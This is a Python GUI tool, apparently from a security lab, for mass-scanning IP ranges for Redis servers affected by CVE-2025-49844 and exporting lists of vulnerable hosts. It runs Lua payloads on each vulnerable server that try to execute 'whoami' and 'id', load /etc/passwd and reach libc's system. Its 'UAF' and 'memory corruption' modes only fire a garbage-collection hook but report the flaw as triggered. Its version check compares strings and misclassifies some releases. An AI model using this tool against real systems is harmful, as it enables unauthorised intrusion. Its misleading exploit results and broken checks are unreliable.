#!/usr/bin/env python3
import redis
import sys
import tkinter as tk
from tkinter import ttk, scrolledtext, messagebox, filedialog
import threading
import socket
import time
from ipaddress import ip_address
import concurrent.futures
import queue

class RedisVulnCheckerGUI:
    def __init__(self, root):
        self.root = root
        self.root.title("信安西部-明镜高悬实验室 CVE-2025-49844（RediShell）批量漏洞检测工具（v2.0）-禁止用于未经授权的测试！严格遵守《中华人民共和国网络安全法》")
        self.root.geometry("1000x700")
        self.root.resizable(True, True)
        
        # 新增：存储有漏洞的IP列表
        self.vulnerable_ips = []
        
        # 配置样式
        self.style = ttk.Style()
        self.style.configure("TLabel", font=("微软雅黑", 10))
        self.style.configure("TButton", font=("微软雅黑", 10))
        self.style.configure("Header.TLabel", font=("微软雅黑", 12, "bold"))
        
        self.redis_ports = [6379, 6380, 6381, 6382, 6383, 6384]  # 常见Redis端口
        self.scan_queue = queue.Queue()
        self.is_scanning = False
        
        self.create_widgets()
        
    def create_widgets(self):
        # 主框架
        main_frame = ttk.Frame(self.root, padding="10")
        main_frame.pack(fill=tk.BOTH, expand=True)
        
        # 标题区域
        header_frame = ttk.Frame(main_frame)
        header_frame.pack(fill=tk.X, pady=(0, 10))
        
        ttk.Label(
            header_frame, 
            text="信安西部-明镜高悬实验室 CVE-2025-49844（RediShell）批量漏洞检测工具（v2.0）-禁止用于未经授权的测试！严格遵守《中华人民共和国网络安全法》", 
            style="Header.TLabel"
        ).pack(side=tk.LEFT)
        
        # 批量扫描设置框架
        batch_frame = ttk.LabelFrame(main_frame, text="批量扫描设置", padding="10")
        batch_frame.pack(fill=tk.X, pady=(0, 10))
        
        # IP列表区域
        ttk.Label(batch_frame, text="IP地址列表:").grid(row=0, column=0, sticky=tk.NW, pady=5, padx=5)
        self.ip_text = scrolledtext.ScrolledText(batch_frame, wrap=tk.WORD, width=40, height=6)
        self.ip_text.grid(row=0, column=1, columnspan=2, sticky=tk.W, pady=5, padx=5)
        self.ip_text.insert(tk.END, "127.0.0.1\nlocalhost")
        
        # 按钮区域
        btn_frame = ttk.Frame(batch_frame)
        btn_frame.grid(row=0, column=3, padx=10)
        
        ttk.Button(btn_frame, text="加载文件", command=self.load_ip_file).pack(fill=tk.X, pady=5)
        ttk.Button(btn_frame, text="清空", command=lambda: self.ip_text.delete(1.0, tk.END)).pack(fill=tk.X, pady=5)
        
        # 扫描选项
        option_frame = ttk.Frame(batch_frame)
        option_frame.grid(row=1, column=0, columnspan=4, sticky=tk.W, pady=5)
        
        self.full_port_scan = tk.BooleanVar(value=False)
        ttk.Checkbutton(option_frame, text="全端口扫描(默认只扫描常见Redis端口)", variable=self.full_port_scan).pack(side=tk.LEFT, padx=10)
        
        self.timeout_var = tk.IntVar(value=5)
        ttk.Label(option_frame, text="超时时间(秒):").pack(side=tk.LEFT, padx=(20,5))
        ttk.Entry(option_frame, textvariable=self.timeout_var, width=5).pack(side=tk.LEFT)
        
        self.thread_var = tk.IntVar(value=10)
        ttk.Label(option_frame, text="线程数:").pack(side=tk.LEFT, padx=(20,5))
        ttk.Entry(option_frame, textvariable=self.thread_var, width=5).pack(side=tk.LEFT)
        
        # 控制按钮框架
        control_frame = ttk.Frame(main_frame)
        control_frame.pack(fill=tk.X, pady=(0, 10))
        
        self.check_mode = tk.StringVar(value="all")
        
        ttk.Button(control_frame, text="开始批量扫描", command=self.start_batch_scan).pack(side=tk.LEFT, padx=5)
        ttk.Button(control_frame, text="停止扫描", command=self.stop_scan).pack(side=tk.LEFT, padx=5)
        
        # 新增：导出漏洞IP按钮
        ttk.Button(control_frame, text="导出漏洞IP列表", command=self.export_vulnerable_ips).pack(side=tk.LEFT, padx=5)
        
        ttk.Label(control_frame, text="测试模式:").pack(side=tk.LEFT, padx=(15, 5))
        exploit_mode_frame = ttk.Frame(control_frame)
        exploit_mode_frame.pack(side=tk.LEFT)
        
        ttk.Radiobutton(exploit_mode_frame, text="仅检查", variable=self.check_mode, value="check").pack(side=tk.LEFT, padx=2)
        ttk.Radiobutton(exploit_mode_frame, text="基础", variable=self.check_mode, value="basic").pack(side=tk.LEFT, padx=2)
        ttk.Radiobutton(exploit_mode_frame, text="沙箱", variable=self.check_mode, value="sandbox").pack(side=tk.LEFT, padx=2)
        ttk.Radiobutton(exploit_mode_frame, text="高级", variable=self.check_mode, value="advanced").pack(side=tk.LEFT, padx=2)
        ttk.Radiobutton(exploit_mode_frame, text="全部", variable=self.check_mode, value="all").pack(side=tk.LEFT, padx=2)
        
        ttk.Button(control_frame, text="清空输出", command=self.clear_output).pack(side=tk.RIGHT, padx=5)
        
        # 输出框架
        output_frame = ttk.LabelFrame(main_frame, text="输出", padding="10")
        output_frame.pack(fill=tk.BOTH, expand=True)
        
        self.output_text = scrolledtext.ScrolledText(output_frame, wrap=tk.WORD, width=80, height=20)
        self.output_text.pack(fill=tk.BOTH, expand=True)
        self.output_text.config(state=tk.DISABLED)
        
        # 状态栏
        self.status_var = tk.StringVar(value="就绪")
        status_bar = ttk.Label(self.root, textvariable=self.status_var, relief=tk.SUNKEN, anchor=tk.W)
        status_bar.pack(side=tk.BOTTOM, fill=tk.X)
        
        # 扫描统计
        self.stats_var = tk.StringVar(value="已完成: 0, 漏洞: 0, 在线: 0")
        stats_bar = ttk.Label(self.root, textvariable=self.stats_var, relief=tk.SUNKEN, anchor=tk.E)
        stats_bar.pack(side=tk.BOTTOM, fill=tk.X)
        
        # 统计数据
        self.stats = {
            "total": 0,
            "completed": 0,
            "vulnerable": 0,
            "online": 0
        }
        
    def update_output(self, text, color=None):
        """更新输出文本框内容"""
        self.output_text.config(state=tk.NORMAL)
        
        if color:
            self.output_text.insert(tk.END, text, color)
        else:
            self.output_text.insert(tk.END, text)
            
        self.output_text.see(tk.END)
        self.output_text.config(state=tk.DISABLED)
        
    def clear_output(self):
        """清空输出文本框"""
        self.output_text.config(state=tk.NORMAL)
        self.output_text.delete(1.0, tk.END)
        self.output_text.config(state=tk.DISABLED)
        self.reset_stats()
        # 新增：清空漏洞IP列表
        self.vulnerable_ips = []
        
    def set_status(self, status):
        """更新状态栏"""
        self.status_var.set(status)
        self.root.update_idletasks()
        
    def update_stats(self):
        """更新统计信息"""
        self.stats_var.set(
            f"已完成: {self.stats['completed']}/{self.stats['total']}, "
            f"漏洞: {self.stats['vulnerable']}, "
            f"在线: {self.stats['online']}"
        )
        
    def reset_stats(self):
        """重置统计信息"""
        self.stats = {
            "total": 0,
            "completed": 0,
            "vulnerable": 0,
            "online": 0
        }
        self.update_stats()
        
    def load_ip_file(self):
        """加载IP地址文件"""
        file_path = filedialog.askopenfilename(
            filetypes=[("文本文件", "*.txt"), ("所有文件", "*.*")]
        )
        if file_path:
            try:
                with open(file_path, 'r') as f:
                    content = f.read()
                    self.ip_text.delete(1.0, tk.END)
                    self.ip_text.insert(tk.END, content)
            except Exception as e:
                messagebox.showerror("错误", f"加载文件失败: {str(e)}")
    
    # 新增：导出漏洞IP列表方法
    def export_vulnerable_ips(self):
        """导出存在漏洞的IP列表到TXT文件"""
        if not self.vulnerable_ips:
            messagebox.showinfo("提示", "没有发现存在漏洞的IP地址")
            return
            
        file_path = filedialog.asksaveasfilename(
            defaultextension=".txt",
            filetypes=[("文本文件", "*.txt"), ("所有文件", "*.*")],
            title="保存漏洞IP列表"
        )
        
        if file_path:
            try:
                with open(file_path, 'w') as f:
                    # 写入报告头部信息
                    f.write("CVE-2025-49844（RediShell）漏洞扫描报告\n")
                    f.write(f"生成时间: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
                    f.write(f"共发现 {len(self.vulnerable_ips)} 个存在漏洞的目标\n")
                    f.write("="*50 + "\n")
                    # 写入漏洞IP列表
                    for item in self.vulnerable_ips:
                        f.write(f"{item['ip']}:{item['port']}\n")
                
                self.update_output(f"[+] 漏洞IP列表已导出至: {file_path}\n", "green")
                messagebox.showinfo("成功", f"漏洞IP列表已导出至:\n{file_path}")
            except Exception as e:
                messagebox.showerror("错误", f"导出文件失败: {str(e)}")
                
    def is_valid_ip(self, ip):
        """验证IP地址是否有效"""
        try:
            ip_address(ip)
            return True
        except ValueError:
            # 尝试解析为主机名
            try:
                socket.gethostbyname(ip)
                return True
            except socket.error:
                return False
        return False
        
    def check_ip_alive(self, ip, timeout=2):
        """检查IP是否存活（ICMP ping）"""
        try:
            # 使用UDP尝试连接来快速检测存活状态
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.settimeout(timeout)
                result = s.connect_ex((ip, 80))
                if result == 0:
                    return True
                    
            # 尝试ping (对于Windows系统)
            import os
            param = '-n' if os.name == 'nt' else '-c'
            command = ['ping', param, '1', '-W', str(timeout), ip]
            return os.system(' '.join(command)) == 0
        except Exception:
            return False
            
    def scan_redis_ports(self, ip):
        """扫描Redis端口"""
        open_ports = []
        timeout = self.timeout_var.get()
        
        # 先检查常见Redis端口
        for port in self.redis_ports:
            if self.is_scanning and self.check_port_open(ip, port, timeout):
                open_ports.append(port)
                # 如果找到默认端口，可提前返回
                if port == 6379 and not self.full_port_scan.get():
                    return open_ports
                    
        # 如果需要全端口扫描且未找到端口
        if self.full_port_scan.get() and not open_ports:
            self.update_output(f"[*] {ip} 开始全端口扫描...\n", "blue")
            # 扫描1-10000端口 (可根据需要调整范围)
            for port in range(1, 10001):
                if not self.is_scanning:
                    break
                if self.check_port_open(ip, port, timeout):
                    # 尝试识别是否为Redis服务
                    if self.is_redis_service(ip, port, timeout):
                        open_ports.append(port)
                        self.update_output(f"[+] {ip}:{port} 发现Redis服务\n", "green")
                    
        return open_ports
        
    def check_port_open(self, ip, port, timeout=2):
        """检查端口是否开放"""
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.settimeout(timeout)
                result = s.connect_ex((ip, port))
                return result == 0
        except Exception:
            return False
            
    def is_redis_service(self, ip, port, timeout=2):
        """检查是否为Redis服务"""
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.settimeout(timeout)
                s.connect((ip, port))
                s.send(b"INFO\r\n")
                response = s.recv(1024)
                return b"redis_version" in response
        except Exception:
            return False
            
    def start_batch_scan(self):
        """开始批量扫描"""
        if self.is_scanning:
            messagebox.showinfo("提示", "扫描已在进行中")
            return
            
        # 获取IP列表
        ip_text = self.ip_text.get(1.0, tk.END).strip()
        if not ip_text:
            messagebox.showwarning("警告", "请输入IP地址列表")
            return
            
        ip_list = [ip.strip() for ip in ip_text.splitlines() if ip.strip()]
        valid_ips = [ip for ip in ip_list if self.is_valid_ip(ip)]
        
        if not valid_ips:
            messagebox.showwarning("警告", "未找到有效的IP地址")
            return
            
        # 初始化扫描
        self.is_scanning = True
        self.reset_stats()
        self.stats["total"] = len(valid_ips)
        self.update_stats()
        # 新增：清空历史漏洞IP列表
        self.vulnerable_ips = []
        
        self.update_output(f"\n[*] 开始批量扫描，共 {len(valid_ips)} 个目标\n", "blue")
        self.set_status("正在扫描...")
        
        # 启动扫描线程
        threading.Thread(target=self.batch_scan_thread, args=(valid_ips,), daemon=True).start()
        
    def stop_scan(self):
        """停止扫描"""
        self.is_scanning = False
        self.set_status("扫描已停止")
        
    def batch_scan_thread(self, ip_list):
        """批量扫描线程"""
        max_threads = self.thread_var.get()
        
        with concurrent.futures.ThreadPoolExecutor(max_workers=max_threads) as executor:
            futures = [executor.submit(self.scan_single_target, ip) for ip in ip_list]
            
            for future in concurrent.futures.as_completed(futures):
                if not self.is_scanning:
                    break
                future.result()
                
        self.is_scanning = False
        self.set_status("扫描完成")
        self.update_output("\n[*] 批量扫描结束\n", "blue")
        
    def scan_single_target(self, ip):
        """扫描单个目标"""
        if not self.is_scanning:
            return
            
        try:
            self.update_output(f"\n{'='*50}\n", "blue")
            self.update_output(f"[*] 开始扫描目标: {ip}\n", "blue")
            
            # 检查IP是否存活
            self.update_output(f"[*] 检查 {ip} 是否存活...\n")
            if not self.check_ip_alive(ip, self.timeout_var.get()):
                self.update_output(f"[-] {ip} 似乎不存活\n", "red")
                self.stats["completed"] += 1
                self.update_stats()
                return
                
            self.update_output(f"[+] {ip} 存活\n", "green")
            self.stats["online"] += 1
            
            # 扫描Redis端口
            self.update_output(f"[*] 扫描 {ip} 上的Redis端口...\n")
            redis_ports = self.scan_redis_ports(ip)
            
            if not redis_ports:
                self.update_output(f"[-] {ip} 未发现开放的Redis端口\n", "red")
                self.stats["completed"] += 1
                self.update_stats()
                return
                
            self.update_output(f"[+] {ip} 发现 {len(redis_ports)} 个开放的Redis端口: {redis_ports}\n", "green")
            
            # 对每个Redis端口进行漏洞检查
            for port in redis_ports:
                if not self.is_scanning:
                    break
                self.check_redis_vulnerability(ip, port)
                
        except Exception as e:
            self.update_output(f"[-] 扫描 {ip} 时出错: {str(e)}\n", "red")
        finally:
            self.stats["completed"] += 1
            self.update_stats()
            
    def check_redis_vulnerability(self, host, port):
        """检查单个Redis服务的漏洞"""
        self.update_output(f"\n[*] 检查 {host}:{port} 的漏洞状态...\n")
        
        try:
            # 连接Redis
            r = redis.Redis(
                host=host, 
                port=port, 
                password=None, 
                decode_responses=True, 
                socket_timeout=self.timeout_var.get()
            )
            
            # 测试连接
            info = r.info()
            self.update_output(f"[+] 成功连接到 {host}:{port}\n", "green")
            version = info.get('redis_version', '未知')
            self.update_output(f"[i] Redis版本: {version}\n", "blue")
            
            # 检查Lua是否启用
            self.update_output("[*] 检查Lua脚本是否启用...\n")
            test_script = "return 'test'"
            r.eval(test_script, 0)
            self.update_output("[+] Lua脚本已启用\n", "green")
            
            # 版本漏洞检查
            vulnerable_versions = [
                ('7.2', '7.2.11'),
                ('7.4', '7.4.6'),
                ('8.0', '8.0.4'),
                ('8.2', '8.2.2'),
            ]
            
            is_vulnerable = False
            major_minor = '.'.join(version.split('.')[:2])
            
            for vuln_base, patched_version in vulnerable_versions:
                if version.startswith(vuln_base):
                    if version < patched_version:
                        is_vulnerable = True
                        break
            
            if is_vulnerable:
                self.update_output(f"[!] {host}:{port} 存在漏洞: 受CVE-2025-49844影响\n", "red")
                self.stats["vulnerable"] += 1
                self.update_stats()
                # 新增：将有漏洞的IP和端口添加到列表
                self.vulnerable_ips.append({"ip": host, "port": port})
                
                # 根据选择的模式进行测试
                mode = self.check_mode.get()
                if mode in ['basic', 'all']:
                    self.exploit_uaf_basic(r, host, port)
                
                if mode in ['sandbox', 'all']:
                    self.exploit_sandbox_escape(r, host, port)
                
                if mode in ['advanced', 'all']:
                    self.exploit_memory_corruption(r, host, port)
            else:
                self.update_output(f"[+] {host}:{port} 此版本似乎已打补丁或不受影响\n", "green")
                
        except redis.AuthenticationError:
            self.update_output(f"[-] {host}:{port} 需要认证\n", "yellow")
        except Exception as e:
            self.update_output(f"[-] {host}:{port} 检查失败: {str(e)}\n", "red")
            
    def exploit_uaf_basic(self, r, host, port):
        """基础UAF触发测试"""
        self.update_output(f"\n[*] {host}:{port} 尝试基础UAF触发...\n")
        
        lua_script = """
        local function trigger_uaf()
            local t = {}
            local mt = {
                __gc = function(self)
                    redis.log(redis.LOG_WARNING, "UAF触发点")
                end
            }
            setmetatable(t, mt)
            
            for i = 1, 10 do
                collectgarbage("collect")
            end
            
            return "UAF模式执行完毕"
        end
        
        return trigger_uaf()
        """
        
        try:
            result = r.eval(lua_script, 0)
            self.update_output(f"[+] {host}:{port} Lua脚本执行: {result}\n", "green")
            self.update_output(f"[!] {host}:{port} UAF模式已触发（简化演示）\n", "yellow")
        except Exception as e:
            self.update_output(f"[-] {host}:{port} 漏洞测试失败: {e}\n", "red")
    
    def exploit_sandbox_escape(self, r, host, port):
        """尝试Lua沙箱逃逸"""
        self.update_output(f"\n[*] {host}:{port} 测试Lua沙箱边界...\n")
        
        escape_tests = [
            ("os.execute", "return os.execute('whoami')"),
            ("io.popen", "return io.popen('id'):read('*a')"),
            ("loadfile", "return loadfile('/etc/passwd')"),
            ("package.loadlib", "return package.loadlib('libc.so.6', 'system')"),
        ]
        
        for test_name, lua_code in escape_tests:
            self.update_output(f"[*] {host}:{port} 测试{test_name}...\n", "blue")
            try:
                result = r.eval(lua_code, 0)
                self.update_output(f"[!] {host}:{port} 存在漏洞: {test_name}可访问! 结果: {result}\n", "red")
            except Exception as e:
                self.update_output(f"[+] {host}:{port} 受保护: {test_name}已阻止({str(e)[:50]}...)\n", "green")
    
    def exploit_memory_corruption(self, r, host, port):
        """高级内存损坏漏洞测试"""
        self.update_output(f"\n[*] {host}:{port} 尝试内存损坏模式...\n")
        
        lua_script = """
        local function create_spray()
            local objects = {}
            for i = 1, 1000 do
                objects[i] = string.rep("A", 1024)
            end
            return objects
        end
        
        local function trigger_corruption()
            local spray = create_spray()
            
            local victim = {}
            local mt = {
                __gc = function(self)
                    redis.log(redis.LOG_WARNING, "终结器调用 - UAF窗口")
                end
            }
            setmetatable(victim, mt)
            
            victim = nil
            collectgarbage("collect")
            
            return "内存损坏模式完成"
        end
        
        return trigger_corruption()
        """
        
        try:
            result = r.eval(lua_script, 0)
            self.update_output(f"[+] {host}:{port} 内存测试脚本执行: {result}\n", "green")
            self.update_output(f"[!] {host}:{port} 内存损坏条件可能已满足（演示）\n", "yellow")
        except Exception as e:
            self.update_output(f"[-] {host}:{port} 内存测试失败: {e}\n", "red")

if __name__ == "__main__":
    root = tk.Tk()
    app = RedisVulnCheckerGUI(root)
    root.mainloop()
